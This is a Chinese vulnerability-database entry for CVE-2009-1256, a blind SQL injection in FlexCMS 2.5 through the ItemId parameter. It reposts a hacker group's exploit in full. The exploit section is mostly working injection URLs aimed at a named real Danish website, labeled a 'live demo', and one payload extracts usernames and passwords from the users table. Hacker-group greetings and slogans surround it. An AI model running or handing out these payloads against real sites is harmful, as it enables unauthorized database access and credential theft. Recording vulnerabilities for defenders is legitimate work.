FlexCMS SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1183156 漏洞类型 SQL注入
发布时间 2009-04-07 更新时间 2009-04-08
CVE编号 CVE-2009-1256 CNNVD-ID CNNVD-200904-150
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://cxsecurity.com/issue/WLB-2009040159
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200904-150
|漏洞详情
FlexCMS2.5版本存在SQL注入漏洞。远程攻击者可以借助ItemId参数,执行任意的SQL指令。
|漏洞EXP
*****************************************************************************
*							                    *
*          FlexCMS Calendar(ItemId) Blind SQL Injection Vulnerability       *
*							                    *
*****************************************************************************
AUTHOR: MisterRichard
Developer site: http://www.flexcms.dk/
Admin login site:
http://target.com/flexadmin/
***************************************

[=] Vulnerability author : Lanti-Net
[=] Contact: lanti-net[at]hotmail[dot]com
[=] Site : www.khg-crew.ws
[=] Greetz: SpYrO , boom3rang, KHG, urtan, H!tm@N , war_ning, chs, redc00de , LiTTlE-HaCkEr , L1R1D0N1
[=]        -=[Kosova Hackers Group]=--=[KHG-Crew]=-

***************************************
[=] Example    : /flx/aktiviteter/kalender/?ItemId={SQL}

		 http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=1%20and%20substring(@@version,1,1)=4  >>FALSE

[=] Live Demo: 	http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=5%20and%20ascii(substring((SELECT%20concat(username,0x3a,password)%20from%20users%20limit%200,1),1,1))>95
		
		 http://www.radikalungdom.dk/flx/aktiviteter/kalender/?ItemId=1%20and%20substring(@@version,1,1)=5  >>TRUE
***************************************

[=] Proud 2 be Albanian
[=] Proud 2 be Muslim
[=] United States of Albania

***************************************

|参考资料

来源:XF
名称:flexcms-itemid-sql-injection(49680)
链接:http://xforce.iss.net/xforce/xfdb/49680
来源:BID
名称:34394
链接:http://www.securityfocus.com/bid/34394
来源:MILW0RM
名称:8355
链接:http://www.milw0rm.com/exploits/8355